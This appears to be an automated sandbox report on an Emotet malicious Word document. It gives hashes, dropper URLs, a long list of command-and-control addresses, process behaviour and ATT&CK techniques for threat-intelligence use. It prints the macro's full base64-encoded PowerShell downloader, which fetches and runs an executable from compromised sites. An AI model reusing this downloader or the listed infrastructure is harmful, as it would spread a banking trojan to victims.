emotet | f6aeaefccc4efba1167df73a2a3ba80a76c030c8278f7e8466c4d3dc7cf0084f

Analysis

max time kernel
135s
max time network
152s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 22:48

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General

Target
emotet_e2_f6aeaefccc4efba1167df73a2a3ba80a76c030c8278f7e8466c4d3dc7cf0084f_2020-09-15__224639._doc.doc
Size 164KB
Sample200915-n61ld6c8ke
SHA256 f6aeaefccc4efba1167df73a2a3ba80a76c030c8278f7e8466c4d3dc7cf0084f
MD5 7b2c8450271f2cc07d4fde74363e6906
SHA1 139e6ca40362f798b15f14713e2871c148e70335
SHA512 bb71c92addc350572eb3f7142c2be162fee5d8e08fffe3a4f31c2dcb85cf06b6e24f6f59a363591546a0bd4120896a11680a5f81af9330fa07172779323396e6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://an9news.com/aokhf/XPXV7/
exe.dropper
https://www.17geci.com/vi2w6/Z5i/
exe.dropper
https://rubycityvietnam.com/wp-admin/1c0NVtp/
exe.dropper
https://lami-jo.com/wp-admin/VMeklEt/
exe.dropper
http://vayvontinchap5s.com/vayvon5s.com/YH3mx/
exe.dropper
http://jiamini.us-east-1.elasticbeanstalk.com/static/P1Vcv/
exe.dropper
http://wach8.com/cgi-bin/5JyZcRU/

Extracted

Family

emotet

75.80.124.4:80
134.209.36.254:8080
104.156.59.7:8080
120.138.30.150:8080
107.5.122.110:80
195.251.213.56:80
91.211.88.52:7080
79.98.24.39:8080
75.139.38.211:80
82.225.49.121:80
162.241.242.173:8080
94.1.108.190:443
85.105.205.77:8080
181.169.34.190:80
24.179.13.119:80
139.59.67.118:443
82.80.155.43:80
50.91.114.38:80
93.147.212.206:80
153.232.188.106:80
46.105.131.79:8080
42.200.107.142:80
61.92.17.12:80
140.186.212.146:80
78.24.219.147:8080
87.106.139.101:8080
188.219.31.12:80
104.131.11.150:443
62.30.7.67:443
201.173.217.124:443
203.153.216.189:7080
172.91.208.86:80
5.39.91.110:7080
94.200.114.161:80
95.179.229.244:8080
157.245.99.39:8080
174.102.48.180:443
104.32.141.43:80
24.137.76.62:80
74.208.45.104:8080
185.94.252.104:443
220.245.198.194:80
153.177.101.120:443
37.139.21.175:8080
200.114.213.233:8080
84.39.182.7:80
109.74.5.95:8080
194.187.133.160:443
120.150.60.189:80
156.155.166.221:80
110.145.77.103:80
5.196.74.210:8080
95.213.236.64:8080
103.86.49.11:8080
94.23.216.33:80
139.59.60.244:8080
219.74.18.66:443
62.75.141.82:80
61.19.246.238:443
24.43.99.75:80
174.45.13.118:80
121.7.127.163:80
78.187.156.31:80
50.35.17.13:80
79.137.83.50:443
139.130.242.43:80
74.134.41.124:80
37.187.72.193:8080
110.5.16.198:80
124.41.215.226:80
89.216.122.92:80
200.123.150.89:443
97.82.79.83:80
139.99.158.11:443
104.236.246.93:8080
169.239.182.217:8080
203.117.253.142:80
85.152.162.105:80
168.235.67.138:7080
104.131.44.150:8080
83.169.36.251:8080
87.106.136.232:8080
121.124.124.40:7080
187.161.206.24:80
137.119.36.33:80
209.141.54.221:8080
94.23.237.171:443
213.196.135.145:80
1.221.254.82:80
176.111.60.55:8080
68.188.112.97:80
47.144.21.12:443
137.59.187.107:8080
139.162.108.71:8080
74.120.55.163:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	1524	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2892	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3256	Sx0dp_b9f.exe
2836	sfc.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\resutils\sfc.exe	Sx0dp_b9f.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe
2836	sfc.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3256	Sx0dp_b9f.exe
3256	Sx0dp_b9f.exe
2836	sfc.exe
2836	sfc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 3256	2892	powershell.exe	81
PID 2892 wrote to memory of 3256	2892	powershell.exe	81
PID 2892 wrote to memory of 3256	2892	powershell.exe	81
PID 3256 wrote to memory of 2836	3256	Sx0dp_b9f.exe	83
PID 3256 wrote to memory of 2836	3256	Sx0dp_b9f.exe	83
PID 3256 wrote to memory of 2836	3256	Sx0dp_b9f.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f6aeaefccc4efba1167df73a2a3ba80a76c030c8278f7e8466c4d3dc7cf0084f_2020-09-15__224639._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABEAG8ANABzAHMAOQAyAD0AKAAnAFQAbgAnACsAKAAnADkAOQAyACcAKwAnAGQAJwApACsAJwBiACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAEUAUgBQAHIATwBGAEkATABlAFwARAB6AFIAbgBPADUAOQBcAFQAVwBmAGgAdABNAEoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQByAGAASQBgAFQAeQBwAHIATwB0AE8AYABDAE8ATAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzADEAJwApACsAKAAnADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABDADgAZwBwAGQAMgA2ACAAPQAgACgAJwBTAHgAJwArACgAJwAwAGQAJwArACcAcAAnACkAKwAoACcAXwBiADkAJwArACcAZgAnACkAKQA7ACQATAByAHUAbQBzADIAeAA9ACgAKAAnAEgAMQAnACsAJwAwACcAKQArACcAbgB6ACcAKwAnAGcAMAAnACkAOwAkAFQAYwAzAGgAZAAxAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBoAGoATABEACcAKwAnAHoAJwApACsAKAAnAHIAbgBvADUAOQAnACsAJwBoAGoAJwArACcATAAnACkAKwAoACcAVAB3ACcAKwAnAGYAaAAnACsAJwB0ACcAKwAnAG0AagBoAGoAJwApACsAJwBMACcAKQAuACIAcgBgAGUAUABsAGAAQQBDAEUAIgAoACgAJwBoAGoAJwArACcATAAnACkALABbAFMAdABSAEkATgBHAF0AWwBDAGgAYQBSAF0AOQAyACkAKQArACQAQwA4AGcAcABkADIANgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYQA4AF8AYwB5AHYAPQAoACcATgA4ACcAKwAoACcAbgBmAGMAZgAnACsAJwBuACcAKQApADsAJABKAHMANQB1AHYAagBmAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMATABJAEUATgB0ADsAJABSAGsAbwBfADUAOAB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6AC8ALwBhACcAKQArACgAJwBuADkAbgBlACcAKwAnAHcAJwApACsAJwBzACcAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvAGEAJwApACsAJwBvACcAKwAnAGsAJwArACgAJwBoAGYALwAnACsAJwBYAFAAJwApACsAKAAnAFgAVgAnACsAJwA3ACcAKQArACcALwAnACsAJwAqACcAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvACcAKwAoACcALwB3AHcAJwArACcAdwAnACsAJwAuADEANwBnAGUAJwArACcAYwBpAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAHYAaQAnACsAJwAyAHcAJwArACcANgAnACsAKAAnAC8AWgA1AGkAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACcALwAnACsAJwAvAHIAdQBiACcAKQArACgAJwB5AGMAaQB0AHkAJwArACcAdgAnACkAKwAoACcAaQAnACsAJwBlAHQAJwApACsAKAAnAG4AJwArACcAYQBtAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwAxAGMAJwArACcAMAAnACkAKwAoACcATgBWACcAKwAnAHQAJwApACsAKAAnAHAALwAqACcAKwAnAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACgAJwBzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsACcAKwAnAGEAbQBpAC0AagBvACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAFYAJwApACsAKAAnAE0AZQAnACsAJwBrAGwAJwApACsAKAAnAEUAdAAvACcAKwAnACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvAHYAYQAnACsAJwB5ACcAKwAnAHYAbwAnACkAKwAnAG4AdAAnACsAKAAnAGkAbgBjACcAKwAnAGgAJwApACsAKAAnAGEAcAA1ACcAKwAnAHMALgAnACkAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALwB2AGEAeQAnACsAJwB2AG8AJwArACcAbgA1AHMALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AJwArACgAJwBZAEgAMwAnACsAJwBtACcAKQArACcAeAAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAagBpACcAKwAnAGEAbQBpACcAKQArACcAbgAnACsAKAAnAGkALgB1ACcAKwAnAHMALQAnACsAJwBlACcAKQArACcAYQAnACsAJwBzAHQAJwArACgAJwAtADEAJwArACcALgBlACcAKwAnAGwAYQBzAHQAJwApACsAJwBpAGMAJwArACcAYgAnACsAJwBlAGEAJwArACgAJwBuACcAKwAnAHMAdABhAGwAawAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHMAdAAnACsAJwBhAHQAJwApACsAKAAnAGkAJwArACcAYwAvACcAKQArACcAUAAxACcAKwAoACcAVgBjAHYAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvACcAKQArACcAdwAnACsAKAAnAGEAYwBoADgALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBjAGcAaQAnACsAJwAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACgAJwAvADUASgAnACsAJwB5AFoAYwAnACsAJwBSACcAKQArACcAVQAvACcAKQAuACIAUwBwAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAHQAcgBqAG8AbwA3AD0AKAAoACcASAAnACsAJwBjADUAbQAnACkAKwAnADQAJwArACcAbQA5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AdQA1AGMANAA4AG0AIABpAG4AIAAkAFIAawBvAF8ANQA4AHQAKQB7AHQAcgB5AHsAJABKAHMANQB1AHYAagBmAC4AIgBEAG8AdwBOAGAAbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABOAHUANQBjADQAOABtACwAIAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQARQA4AG0AYQBhAGcAOAA9ACgAJwBYAGcAJwArACcANgB2ACcAKwAoACcAbwBzACcAKwAnAHcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVABjADMAaABkADEAdQApAC4AIgBsAEUAbgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADQAMQA3ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQAQwBhAGcAegB6AGUAagA9ACgAJwBUAHoAJwArACgAJwBfADUAaQB3ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAE8AXwBmADUAbgA2AGcAPQAoACgAJwBSAG4AaQB1AGwAJwArACcAMwAnACkAKwAnADQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGEAMQBtADMAZAByAD0AKAAoACcAQwAnACsAJwA3AGsAJwApACsAJwByACcAKwAoACcAOAAnACsAJwBfAHkAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\Dzrno59\Twfhtmj\Sx0dp_b9f.exe
  "C:\Users\Admin\Dzrno59\Twfhtmj\Sx0dp_b9f.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\SysWOW64\resutils\sfc.exe
    "C:\Windows\SysWOW64\resutils\sfc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2836-22-0x0000000002130000-0x0000000002140000-memory.dmp

Download

memory/2836-21-0x0000000002110000-0x0000000002122000-memory.dmp

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memory/2892-12-0x000001A2BEE90000-0x000001A2BEE91000-memory.dmp

Download

memory/2892-13-0x000001A2BF040000-0x000001A2BF041000-memory.dmp

Download

memory/2892-11-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

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memory/3256-18-0x0000000000AB0000-0x0000000000AC0000-memory.dmp

Download

memory/3256-17-0x0000000000A90000-0x0000000000AA2000-memory.dmp

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memory/3892-10-0x000001752CE58000-0x000001752CE5D000-memory.dmp

Download

memory/3892-9-0x000001752CE37000-0x000001752CE58000-memory.dmp

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memory/3892-8-0x000001752CE37000-0x000001752CE58000-memory.dmp

Download

memory/3892-0-0x0000017520E40000-0x0000017521506000-memory.dmp

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memory/3892-7-0x000001752CE37000-0x000001752CE58000-memory.dmp

Download

memory/3892-6-0x0000017529AA3000-0x0000017529AC4000-memory.dmp

Download

memory/3892-5-0x0000017529AA3000-0x0000017529AC4000-memory.dmp

Download

memory/3892-1-0x000001752B6C0000-0x000001752B6C4000-memory.dmp

Download